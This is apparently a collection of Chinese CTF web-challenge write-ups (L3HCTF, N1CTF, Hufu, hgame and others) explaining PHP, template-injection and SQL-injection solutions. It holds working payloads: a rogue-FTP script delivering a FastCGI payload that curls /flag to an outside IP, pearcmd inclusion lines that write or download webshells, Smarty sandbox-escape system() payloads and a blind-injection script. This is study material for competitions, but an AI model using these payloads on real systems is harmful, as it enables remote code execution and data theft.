conn2.close() print ("cutconnect!" ) else : conn.send(b"150 \n" ) print (conn.recv(20 )) exit() if count == 1 : conn.send(b"226 \n" ) conn.close() count += 1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 import socketfrom urllib.parse import unquotepayload = unquote("%01%01%1EJ%00%08%00%00%00%01%00%00%00%00%00%00%01%04%1EJ%02%16%00%00%11%0BGATEWAY_INTERFACEFastCGI/1.0%0E%04REQUEST_METHODPOST%0F%17SCRIPT_FILENAME/var/www/html/index.php%0B%17SCRIPT_NAME/var/www/html/index.php%0C%00QUERY_STRING%0B%17REQUEST_URI/var/www/html/index.php%0D%01DOCUMENT_ROOT/%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9985%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP/1.1%0C%10CONTENT_TYPEapplication/text%0E%02CONTENT_LENGTH63%098PHP_VALUEauto_prepend_file%20%3D%20php%3A//input%3B%0D%0Aallow_url_include%20%3D%20On%0F8PHP_ADMIN_VALUEauto_prepend_file%20%3D%20php%3A//input%3B%0D%0Aallow_url_include%20%3D%20On%01%04%1EJ%00%00%00%00%01%05%1EJ%00%3F%00%00%3C%3Fphp%20system%28%27curl%20http%3A//47.107.56.244%3A8084/%20-F%20file%3D%40/flag%27%29%3B%3F%3E%01%05%1EJ%00%00%00%00" ) payload = payload.encode('utf-8' ) host = '0.0.0.0' port = 23 sk = socket.socket() sk.bind((host, port)) sk.listen(5 ) sk2 = socket.socket() sk2.bind((host, 1234 )) sk2.listen() count = 1 while 1 : conn, address = sk.accept() conn.send(b"200 \n" ) print (conn.recv(20 )) if count == 1 : conn.send(b"220 ready\n" ) else : conn.send(b"200 ready\n" ) print (conn.recv(20 )) if count == 1 : conn.send(b"215 \n" ) else : conn.send(b"200 \n" ) print (conn.recv(20 )) if count == 1 : conn.send(b"213 3 \n" ) else : conn.send(b"300 \n" ) print (conn.recv(20 )) conn.send(b"200 \n" ) print (conn.recv(20 )) if count == 1 : conn.send(b"227 124,70,40,5,4,210\n" ) else : conn.send(b"227 127,0,0,1,35,40\n" ) print (conn.recv(20 )) if count == 1 : conn.send(b"125 \n" ) print ("建立连接!" ) conn2, address2 = sk2.accept() conn2.send(payload) conn2.close() print ("断开连接!" ) else : conn.send(b"150 \n" ) print (conn.recv(20 )) exit() if count == 1 : conn.send(b"226 \n" ) conn.close() count += 1
2021L3HCTF EasyPHP 多半是签到了
1 2 3 4 5 6 7 8 <?php error_reporting (0 );if ("admin" == $_GET [username] &+!!& "CTFl3hctf" == $_GET [L3Hpassword]) { include "flag.php" ; echo $flag ; } show_source (__FILE__ );?>
本来看着是这样的
1 if ("admin" == $_GET [username] && "l3hctf" == $_GET [password]) {
复制之后就成上面那样了
就挺简单的,被那两个东西框起来之后,显示就会被放到最后,也就是-1
的位置,然后测了一下两个&
之间的那个不影响判断,其他就和正经传post一样
GET:
1 ?username=admin&%E2%80 %AE%E2%81 %A6L3H%E2%81 %A9%E2%81 %A6password=%E2%80 %AE%E2%81 %A6CTF%E2%81 %A9%E2%81 %A6l3hctf
听说是什么rgb编码,挺危险的,但可以被url编码,就能看见了,他的格式一个块就是3个字符
西湖论不懂剑 灏妹的web 就一张图,啥也没有,抓包看响应头也找不到任何提示
扫源码,啥都给200
复现:
扫到.DS_Store
当时也扫到一些xml文件,没遇到过这个知识,就没注意,在gitgub上找到一个工具脚本:DS_Store_exp
扫描得到.idea/dataSources
这是一个xml文件,访问即可得到(因为啥都返回200,所以当时只看了一些看到的xml文件,就没想到,难受了)
ezupload 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <?php error_reporting (0 );require 'vendor/autoload.php' ;$latte = new Latte\Engine;$latte ->setTempDirectory ('tempdir' );$policy = new Latte\Sandbox\SecurityPolicy;$policy ->allowMacros (['block' , 'if' , 'else' ,'=' ]);$policy ->allowFilters ($policy ::ALL );$policy ->allowFunctions (['trim' , 'strlen' ]);$latte ->setPolicy ($policy );$latte ->setSandboxMode ();$latte ->setAutoRefresh (false );if (isset ($_FILES ['file' ])){ $uploaddir = '/var/www/html/tempdir/' ; $filename = basename ($_FILES ['file' ]['name' ]); if (stristr ($filename ,'p' ) or stristr ($filename ,'h' ) or stristr ($filename ,'..' )){ die ('no' ); } $file_conents = file_get_contents ($_FILES ['file' ]['tmp_name' ]); if (strlen ($file_conents )>28 or stristr ($file_conents ,'<' )){ die ('no' ); } $uploadfile = $uploaddir . $filename ; if (move_uploaded_file ($_FILES ['file' ]['tmp_name' ], $uploadfile )) { $message = $filename ." was successfully uploaded." ; } else { $message = "error!" ; } $params = [ 'message' => $message , ]; $latte ->render ('tempdir/index.latte' , $params ); } else if ($_GET ['source' ]==1 ){ highlight_file (__FILE__ ); } else { $latte ->render ('tempdir/index.latte' , ['message' =>'Hellow My Glzjin!' ]); }
有一个上传文件的点
对于文件名过滤了p和h
文件内容长度限制了28
预期:
latte的模板渲染rce
传文件: POST:
1 2 3 4 Content-Disposition: form-data; name="file"; filename="index.latte" Content-Type: application/octet-stream {=system%00($_GET[1])}
利用: GET:?1=ls
非预期:
传.usr.ini
该文件可覆盖配置文件,使被设置的文件被任意php文件包含:
auto_prepend_file=”/flag”
但当前文件夹下还需要有一个php文件才能利用成功
而正好latte模板会传一个临时php文件,访问即可包含获取到/flag
而临时文件文件名的算法
还是贴个链接,fmyyy1师傅的wp
OA?RCE?
弱密码登入 admin admin123
尝试文件上传都显示服务器有问题
审计源码
首先是index模块的phpinfo方法可以看到phpinfo界面:
1 2 3 4 5 public function phpinfoAction ( ) { $this ->display = false ; phpinfo (); }
可以看到register_argc_argv
是开启的
可以对pearcmd进行文件包含:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public function getshtmlAction ( ) { $surl = $this ->jm->base64decode ($this ->get ('surl' )); $num = $this ->get ('num' ); $menuname = $this ->jm->base64decode ($this ->get ('menuname' )); if (isempt ($surl ))exit ('not found' ); $file = '' .P.'/' .$surl .'.php' ; if (!file_exists ($file ))$file = '' .P.'/' .$surl .'.shtml' ; if (!file_exists ($file ))exit ('404 not found ' .$surl .'' ); if (contain ($surl ,'home/index/rock_index' ))$this ->showhomeitems (); $this ->displayfile = $file ; if ($num !='home' && getconfig ('useropt' )=='1' ) m ('log' )->addlog ('打开菜单' , '菜单[' .$num .'.' .$menuname .']' ); }
此处仅限制了文件扩展名为.php
文件位置:/usr/local/lib/php/pearcmd.php
,pearcmd知识
由于会进行解码,先进行一个base64的编码:Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL2xpYi9waHAvcGVhcmNtZA
?m=index&a=getshtml&surl=Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL2xpYi9waHAvcGVhcmNtZA
这样就包含到了,接着是进行命令执行
利用一
在(可写)目录下写马:
/var/www/html/webmain/flow/page/
即:
?m=index&a=getshtml&surl=Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL2xpYi9waHAvcGVhcmNtZA&/=eval($_GET[1])?>+/var/www/html/webmain/flow/page/1.php
利用二:
利用install指令出网下载到一个马
1 ?m=index&a=getshtml&surl=Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL2xpYi9waHAvcGVhcmNtZA&+install+-R+/tmp+http://127.0.0.1/1.php
然后按照连接文章里面说的,-R是指定下载目录,而最终所在目录是指定目录下的tmp/pear/download
下
按照包含pearcmd.php
文件的方法进行包含利用:
?m=index&a=getshtml&surl=Li4vLi4vLi4vLi4vLi4vLi4vLi4vdG1wL3RtcC9wZWFyL2Rvd25sb2FkLzE
EasyTp 题目:访问/public
开始攻击
提示了highlight_file
利用[WMCTF2020]Make PHP Great Again
的知识点:知识点链接
符号链接绕过
/public/?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/app/controller/Index.php
获取源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 <?php namespace app \controller ;use app \BaseController ;class Index extends BaseController { public function index ( ) { if (isset ($_GET ['file' ])) { $file = $_GET ['file' ]; $file = trim ($file ); $file = preg_replace ('/\s+/' ,'' ,$file ); if (preg_match ("/flag/i" ,$file )){ die ('<h2> no flag..' );} if (file_exists ($file )){ echo "file_exists() return true..</br>" ; die ( "hacker!!!" ); }else { echo "file_exists() return false.." ; @highlight_file ($file ); } } else { echo "Error! no file parameter <br/>" ; echo "highlight_file Error" ; } } public function unser ( ) { if (isset ($_GET ['vulvul' ])){ $ser = $_GET ['vulvul' ]; $vul = parse_url ($_SERVER ['REQUEST_URI' ]); parse_str ($vul ['query' ],$query ); foreach ($query as $value ) { if (preg_match ("/O/i" ,$value )) { die ('</br> <h1>Hacking?' ); exit (); } } unserialize ($ser ); } } }
path部分如果为///
则会导致parse_str函数解析错误
parse_str绕过知识点
///public/Index/unser?vulvul
绕过检测,可以进行反序列化
先传入:
?s=1
得到版本为6.x
使用composer在网上下载个源码调下链子:
composer create-project topthink/think=6.0.x-dev v6.0
6.x的新入口:vendor/topthink/think-orm/src/Model.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 abstract class Model implements JsonSerializable , ArrayAccess , Arrayable , Jsonable { public function __destruct ( ) { if ($this ->lazySave) { $this ->save (); } } public function save (array $data = [], string $sequence = null ): bool { $this ->setAttrs ($data ); if ($this ->isEmpty () || false === $this ->trigger ('BeforeWrite' )) { return false ; } $result = $this ->exists ? $this ->updateData () : $this ->insertData ($sequence ); if (false === $result ) { return false ; } $this ->trigger ('AfterWrite' ); $this ->origin = $this ->data; $this ->get = []; $this ->lazySave = false ; return true ; } public function isEmpty ( ): bool { return empty ($this ->data); } protected function trigger (string $event ): bool { if (!$this ->withEvent) { return true ; } $call = 'on' . Str ::studly ($event ); try { if (method_exists (static ::class , $call )) { $result = call_user_func ([static ::class , $call ], $this ); } elseif (is_object (self ::$event ) && method_exists (self ::$event , 'trigger' )) { $result = self ::$event ->trigger ('model.' . static ::class . '.' . $event , $this ); $result = empty ($result ) ? true : end ($result ); } else { $result = true ; } return false === $result ? false : true ; } catch (ModelEventException $e ) { return false ; } } protected function updateData ( ): bool { if (false === $this ->trigger ('BeforeUpdate' )) { return false ; } $this ->checkData (); $data = $this ->getChangedData (); if (empty ($data )) { if (!empty ($this ->relationWrite)) { $this ->autoRelationUpdate (); } return true ; } if ($this ->autoWriteTimestamp && $this ->updateTime) { $data [$this ->updateTime] = $this ->autoWriteTimestamp (); $this ->data[$this ->updateTime] = $this ->getTimestampValue ($data [$this ->updateTime]); } $allowFields = $this ->checkAllowFields (); foreach ($this ->relationWrite as $name => $val ) { if (!is_array ($val )) { continue ; } foreach ($val as $key ) { if (isset ($data [$key ])) { unset ($data [$key ]); } } } $db = $this ->db (); $db ->transaction (function ( ) use ($data , $allowFields , $db ) { $this ->key = null ; $where = $this ->getWhere (); $result = $db ->where ($where ) ->strict (false ) ->cache (true ) ->setOption ('key' , $this ->key) ->field ($allowFields ) ->update ($data ); $this ->checkResult ($result ); if (!empty ($this ->relationWrite)) { $this ->autoRelationUpdate (); } }); $this ->trigger ('AfterUpdate' ); return true ; } public function getChangedData ( ): array { $data = $this ->force ? $this ->data : array_udiff_assoc ($this ->data, $this ->origin, function ($a , $b ) { if ((empty ($a ) || empty ($b )) && $a !== $b ) { return 1 ; } return is_object ($a ) || $a != $b ? 1 : 0 ; }); foreach ($this ->readonly as $key => $field ) { if (array_key_exists ($field , $data )) { unset ($data [$field ]); } } return $data ; } protected function checkAllowFields ( ): array { if (empty ($this ->field)) { if (!empty ($this ->schema)) { $this ->field = array_keys (array_merge ($this ->schema, $this ->jsonType)); } else { $query = $this ->db (); $table = $this ->table ? $this ->table . $this ->suffix : $query ->getTable (); $this ->field = $query ->getConnection ()->getTableFields ($table ); } return $this ->field; } $field = $this ->field; if ($this ->autoWriteTimestamp) { array_push ($field , $this ->createTime, $this ->updateTime); } if (!empty ($this ->disuse)) { $field = array_diff ($field , $this ->disuse); } return $field ; } public function db ($scope = [] ): Query { $query = self ::$db ->connect ($this ->connection) ->name ($this ->name . $this ->suffix) ->pk ($this ->pk); if (!empty ($this ->table)) { $query ->table ($this ->table . $this ->suffix); } $query ->model ($this ) ->json ($this ->json, $this ->jsonAssoc) ->setFieldType (array_merge ($this ->schema, $this ->jsonType)); if (property_exists ($this , 'withTrashed' ) && !$this ->withTrashed) { $this ->withNoTrashed ($query ); } if (is_array ($scope )) { $globalScope = array_diff ($this ->globalScope, $scope ); $query ->scope ($globalScope ); } return $query ; } public function __toString ( ) { return $this ->toJson (); } public function toJson (int $options = JSON_UNESCAPED_UNICODE ): string { return json_encode ($this ->toArray (), $options ); } public function toArray ( ): array { $item = []; $hasVisible = false ; foreach ($this ->visible as $key => $val ) { if (is_string ($val )) { if (strpos ($val , '.' )) { [$relation , $name ] = explode ('.' , $val ); $this ->visible[$relation ][] = $name ; } else { $this ->visible[$val ] = true ; $hasVisible = true ; } unset ($this ->visible[$key ]); } } foreach ($this ->hidden as $key => $val ) { if (is_string ($val )) { if (strpos ($val , '.' )) { [$relation , $name ] = explode ('.' , $val ); $this ->hidden[$relation ][] = $name ; } else { $this ->hidden[$val ] = true ; } unset ($this ->hidden[$key ]); } } $data = array_merge ($this ->data, $this ->relation); foreach ($data as $key => $val ) { if ($val instanceof Model || $val instanceof ModelCollection) { if (isset ($this ->visible[$key ]) && is_array ($this ->visible[$key ])) { $val ->visible ($this ->visible[$key ]); } elseif (isset ($this ->hidden[$key ]) && is_array ($this ->hidden[$key ])) { $val ->hidden ($this ->hidden[$key ]); } if (!isset ($this ->hidden[$key ]) || true !== $this ->hidden[$key ]) { $item [$key ] = $val ->toArray (); } } elseif (isset ($this ->visible[$key ])) { $item [$key ] = $this ->getAttr ($key ); } elseif (!isset ($this ->hidden[$key ]) && !$hasVisible ) { $item [$key ] = $this ->getAttr ($key ); } if (isset ($this ->mapping[$key ])) { $mapName = $this ->mapping[$key ]; $item [$mapName ] = $item [$key ]; unset ($item [$key ]); } } foreach ($this ->append as $key => $name ) { $this ->appendAttrToArray ($item , $key , $name ); } if ($this ->convertNameToCamel) { foreach ($item as $key => $val ) { $name = Str ::camel ($key ); if ($name !== $key ) { $item [$name ] = $val ; unset ($item [$key ]); } } } return $item ; } protected function appendAttrToArray (array &$item , $key , $name ) { if (is_array ($name )) { $relation = $this ->getRelation ($key , true ); $item [$key ] = $relation ? $relation ->append ($name ) ->toArray () : []; } elseif (strpos ($name , '.' )) { [$key , $attr ] = explode ('.' , $name ); $relation = $this ->getRelation ($key , true ); $item [$key ] = $relation ? $relation ->append ([$attr ]) ->toArray () : []; } else { $value = $this ->getAttr ($name ); $item [$name ] = $value ; $this ->getBindAttrValue ($name , $value , $item ); } } }
N1ctf Signin 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php $path =$_POST ['path' ];$time =(isset ($_GET ['time' ])) ? urldecode (date (file_get_contents ('php://input' ))) : date ("Y/m/d H:i:s" );$name ="/var/www/tmp/" .time ().rand ().'.txt' ;$black ="f|ht|ba|z|ro|;|,|=|c|g|da|_" ;$blist =explode ("|" ,$black );foreach ($blist as $b ){ if (strpos ($path ,$b ) !== false ){ die ('111' ); } } if (file_put_contents ($name , $time )){ echo "<pre class='language-html'><code class='language-html'>logpath:$name </code></pre>" ; } $check =preg_replace ('/((\s)*(\n)+(\s)*)/i' ,'' ,file_get_contents ($path ));if (is_file ($check )){ echo "<pre class='language-html'><code class='language-html'>" .file_get_contents ($check )."</code></pre>" ; }
通过time可以让写入内容变得可控,直接输入会被解析成时间,可以使用反斜杠转义,传入get参数time的同时POST部分传入一个/\f\l\a\g
将得到的位置赋值给path参数,这样file_get_contents
得到的参数就是刚刚写入的/flag
了
湖湘杯 web2 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 assign ($_GET ['name' ],$_GET ['value' ]);function assign ($name , $value = null ) { \wiphp\View ::assign ($name , $value ); } public static function assign ($name , $value = NULL ) { if ($name != '' ) self ::$_vars [$name ] = $value ; } return view ();function view ($file = '' , $vars = [] ) { return \wiphp\View ::fetch ($file , $vars ); } public static function fetch ($file = '' , $vars = [] ) { if (!empty ($vars )) self ::$_vars = array_merge (self ::$_vars , $vars ); define ('__THEME__' , C ('theme' )); define ('VPATH' , (THEME_ON)? PATH_VIEW.'/' .__THEME__ : PATH_VIEW); $path = __MODULE__; if ($file == '' ) { $file = __ACTION__; } elseif (strpos ($file , ':' )) { list ($path ,$file ) = explode (':' , $file ); } elseif (strpos ($file , '/' )) { $path = '' ; } if ($path == '' ) { $vfile = VPATH.'/' .$file .'.html' ; } else { $path = strtolower ($path ); $vfile = VPATH.'/' .$path .'/' .$file .'.html' ; } if (!file_exists ($vfile )) { App ::halt ($file .' 模板文件不存在。' ); } else { define ('__RUNTIME__' , App ::getRuntime ()); array_walk_recursive (self ::$_vars , 'self::_parse_vars' ); \Tple ::render ($vfile , self ::$_vars ); } } \Tple ::render ($vfile , self ::$_vars ); public static function render ($vfile , $_vars = [] ) { $shtml_open = C ('shtml_open' ); if (!$shtml_open || basename ($vfile ) == 'jump.shtml' ) { self ::renderTo ($vfile , $_vars ); } } public static function renderTo ($vfile , $_vars = [] ) { $m = strtolower (__MODULE__); $cfile = 'view-' .$m .'_' .basename ($vfile ).'.php' ; if (basename ($vfile ) == 'jump.html' ) { $cfile = 'view-jump.html.php' ; } $cfile = PATH_VIEWC.'/' .$cfile ; if (APP_DEBUG || !file_exists ($cfile ) || filemtime ($cfile ) < filemtime ($vfile )) { $strs = self ::comp (file_get_contents ($vfile ), $_vars ); file_put_contents ($cfile , $strs ); } extract ($_vars ); include $cfile ; }
变量覆盖
runtime/viewc/view-index_index.html.php
伪协议读文件
文件包含就可以尝试利用到pearcmd.php进行rce
就挺拉的,看了6个小时才找到extract函数变量覆盖,外加结合include函数可以进行任意命令执行,但真找不出利用点了,然后赛后才问队友们怎么出的(怕打扰大家,这次比赛挺重要的),说是利用pearcmd,这谁知道啊,还是学长一时想起有这个办法,就挺无语的
就文件包含
/usr/share/pear/pearcmd.php&+list 相当于执行 pear list
进行一个文件的写或者直接外网下载一个马,进行包含利用即可
?cfile=/usr/share/pear/pearcmd.php&+-R+/tmp+htttp://ip/1.php
?cfile=/tmp/tmp/pear/download/1.php
hgame 2022.1.20
蛛蛛…嘿嘿♥我的蛛蛛 爬虫,打开,看页面源码,点下一个,发现其中一个有超链接,而且是get方法获取,摆明写脚本,写:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import requestsimport refrom urllib.parse import unquoteurl = 'https://hgame-spider.vidar.club/ffc7beccf6' re1 = requests.get(url=url) find = re.findall('\?key=.*?"' ,re1.text) cal = find[0 ][0 :200 ] cal = cal.replace('"' ,'' ) print (cal)length = len (cal) while length>20 : re1 = requests.get(url=url+cal) find = re.findall('\?key=.*?"' ,re1.text) cal = find[0 ][0 :200 ] cal = cal.replace('"' ,'' ) print (cal) length = len (cal)
最后有个小小的报错,不影响出,点开最后一个页面,说就在这里,藏起来了,抓包看一下,响应头找到
Tetris plus 打开页面是一个js小游戏,题目介绍是让打3000分,玩了2500多,有点快哈,查看js源码,main没找到判定点,在checking.js末尾找到
1 2 3 4 if (score >= 3000 && !window .winned ) { winned = true alert (atob ("ZmxhZyDosozkvLzooqvol4/otbfmnaXkuobvvIzlho3mib7mib7lkKch" ))
最后那段有点长就不贴了,然后查看base64编码,说是隐藏起来了,好家伙,打到3000分也不准备给人看是吧,这人坏啊,总之,后面那段注释的就是了 jother编码,直接自己写一个php页面,弹窗就完事了
1 2 <?php echo "<script>alert([][(![]+[])[+[]]+(![]+[]));</script>" ;
反正得到的那串贴进js弹窗的函数就完事,运行就得到结果了 啊哈哈哈哈,我的任务完成啦
hufu ezphp 1 <?php (empty ($_GET ["env" ])) ? highlight_file (__FILE__ ) : putenv ($_GET ["env" ]) && system ('echo hfctf2022' );?>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 FROM php:7.4 .28 -fpm-busterLABEL Maintainer="yxxx" ENV REFRESHED_AT 2022 -03 -14 ENV LANG C.UTF-8 RUN sed -i 's/http:\/\/security.debian.org/http:\/\/mirrors.163.com/g' /etc/apt/sources.list RUN sed -i 's/http:\/\/deb.debian.org/http:\/\/mirrors.163.com/g' /etc/apt/sources.list RUN apt upgrade -y && \ apt update -y && \ apt install nginx -y ENV DEBIAN_FRONTEND noninteractiveCOPY index.php /var/www/html COPY default.conf /etc/nginx/sites-available/default COPY flag /flag EXPOSE 80 CMD php-fpm -D && nginx -g 'daemon off;'
babysql 题目描述:It is a pure sql injection challenge. Login any account to get flag. Have fun with mysql 8. There is something useful in /hint.md. 意思是登陆成功就能拿到flag,还有个hint页面,打开看看
1 2 3 4 5 6 7 CREATE TABLE `auth` ( `id` int NOT NULL AUTO_INCREMENT, `username` varchar (32 ) NOT NULL , `password` varchar (32 ) NOT NULL , PRIMARY KEY (`id`), UNIQUE KEY `auth_username_uindex` (`username`) ) ENGINE= InnoDB AUTO_INCREMENT= 2 DEFAULT CHARSET= utf8mb4 COLLATE = utf8mb4_0900_ai_ci;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 import { Injectable } from '@nestjs/common' ;import { ConnectionProvider } from '../database/connection.provider' ;export class User { id : number; username : string; } function safe (str: string ): string { const r = str .replace (/[\s,()#;*\-]/g , '' ) .replace (/^.*(?=union|binary).*$/gi , '' ) .toString (); return r; } @Injectable () export class AuthService { constructor (private connectionProvider: ConnectionProvider ) {} async validateUser (username : string, password : string): Promise <User > | null { const sql = `SELECT * FROM auth WHERE username='${safe(username)} ' LIMIT 1` ; const [rows] = await this .connectionProvider .use ((c ) => c.query (sql)); const user = rows[0 ]; if (user && user.password === password) { const { password, ...result } = user; return result; } return null ; } }
是mysql的建表命令和js源码 根据建表命令可以知道列名 根据代码逻辑可以知道过滤和sql处理语句 得到官方给出的hint:regexp 可以进行注入,对于空白字符被过滤的问题,本地开一个mysql8的docker靶机得到一个这样的可行语句:
1 2 select * from users where username= '1' || 'username' regexp'a' limit 1 ;#条件变为:在'username' 中查询'a'
改进之后
1 2 select * from users where username= '1' || `username`regexp'a' limit 1 ; #将条件变为正则查询username列中的'a'
此时可以进行盲注,但需要bool点或者延时点,括号被过滤,延时无法进行,通过语句
select *from users where username=’1’||’username’regexp’’limit 1;
报错可知regexp查询序列为空会报500的错 但regexp是大小写不敏感的,最后在官方文档中找到语句
mysql>SELECT ‘abc’ LIKE _utf8mb4 ‘ABC’ COLLATE utf8mb4_bin;
这个格式可以使得大小写敏感 最终改语句为
1 2 select * from users where username= '' || `username`regexp+ _utf8mb4'^m' COLLATE 'utf8mb4_bin' || `password`regexp'' limit 1 ; #假如第二条语句查询到,则返回401 ,假如未查询到,则第三条语句执行将返回500
写一个python脚本跑:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 import requestsimport stringurl='http://47.107.231.226:21830/login' string=string.ascii_lowercase + string.ascii_uppercase+ string.digits + '_' +'{' +'}' +'!' +'@' +'.' +'~' flag='' end=0 for j in range (1 ,200 ): for i in string: payload={ "username" :"'||`password`regexp+_utf8mb4'^{0}'COLLATE'utf8mb4_bin'||`password`regexp'" .format (flag+i), "password" :"1" } re = requests.post(url=url,data=payload) if '401' in re.text: flag = flag+i break print (i) if i=='~' : end=1 print (flag) if end==1 : print (flag) break print (i)print (re.text)
~号作为结束符在查询字符串最后,而点号作为任意单字符匹配则放在前一位,如果有未在查询字符串中的字符则匹配为点号 最后得到有两位未知的密码此时使用字符串集爆单字符即可
hmg2021 忘报名了,赛后复现
Smarty_calculator 知识点:ssti模板注入,正则,同类函数的使用替换,open_basedir
题目描述:开发者自己修改了模板的规则
传入显示没有登录,通过www.zip
源码泄露,查看index.php
:
if(isset($_COOKIE[‘login’])) {
抓包传入一个
cookie: login=1
由于题目显示smarty,猜测模板注入
输入:
POST:data={7*7}
返回49,输入:
POST:data={$smarty.version}
版本:3.1.39
找到该版本的一个cve:PHP Smarty模版代码注入漏洞(CVE-2021-26120) 以及参考的文章,也就是漏洞分析的文章Smarty模板引擎多沙箱逃逸PHP代码注入漏洞
POC:
string:{function+name=’rce(){};system(“dir”);function+’}{/function}\
没回显
由于题目描述,可能修改了一些过滤规则,下载3.1.39
源码:源码下载地址 ,使用Beyond Compare
进行文件对比,在s\src\Smarty\sysplugins\smarty_internal_compile_function.php
和源码中的smarty-3.1.39\libs\sysplugins\smarty_internal_compile_function.php
对比中得到语句
原版源码:
1 2 3 if (!preg_match ('/^[a-zA-Z0-9_\x80-\xff]+$/' , $_name )) { $compiler ->trigger_template_error ("Function name contains invalid characters: {$_name} " , null , true ); }
题目源码:
1 2 3 if (preg_match ('/[a-zA-Z0-9_\x80-\xff](.*)+$/' , $_name )) { $compiler ->trigger_template_error ("Function name contains invalid characters: {$_name} " , null , true ); }
增加了一个(.*)
的规则,本地debug在这条语句下断点,原本的POC到这里检测的部分是:'rce(){};system("dir");function '
需要绕过这部分,可以看出,原本的POC是利用一个空格绕过了检测,原本的过滤是直到不再出现为止(非贪婪),但增加了(.*)
之后,匹配会继续往前,直到本行首,但仅仅是单行匹配,使用换行,并且检测到第二行不存在即可
使用:
data=string:{function+name=’rce(){};system(“dir”);function%0a+’}{/function}
换行绕过,但题目还有disable_function和open_basedir,老知识点了,使用ini_set函数和chdir函数进行目录穿越,再用scandir函数读取目录:
data=string:{function+name=’rce(){};chdir(“img”);ini_set(“open_basedir”,”..”);chdir(“..”);chdir(“..”);chdir(“..”);chdir(“..”);ini_set(“open_basedir”,”/“);var_dump(scandir(“/“))function%0a+’}{/function}
得到flag在根目录下,使用base64绕过对flag的过滤,使用Php_strip_whitespace函数读取:
data=string:{function+name=’rce(){};chdir(“img”);ini_set(“open_basedir”,”..”);chdir(“..”);chdir(“..”);chdir(“..”);chdir(“..”);ini_set(“open_basedir”,”/“);var_dump(Php_strip_whitespace(base64_decode(L2ZsYWc)));function%0a+’}{/function}
2022das三月赛 ezpop 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 <?php class crow { public $v1 ; public $v2 ; function eval ( ) { echo new $this ->v1 ($this ->v2); } public function __invoke ( ) { $this ->v1->world (); } } class fin { public $f1 ; public function __destruct ( ) { echo $this ->f1 . '114514' ; } public function run ( ) { ($this ->f1)(); } public function __call ($a , $b ) { echo $this ->f1->get_flag (); } } class what { public $a ; public function __toString ( ) { $this ->a->run (); return 'hello' ; } } class mix { public $m1 ; public function run ( ) { ($this ->m1)(); } public function get_flag ( ) { eval ('#' . $this ->m1); } } if (isset ($_POST ['cmd' ])) { unserialize ($_POST ['cmd' ]); } else { highlight_file (__FILE__ ); }
很好的签到题,直接构建poc:
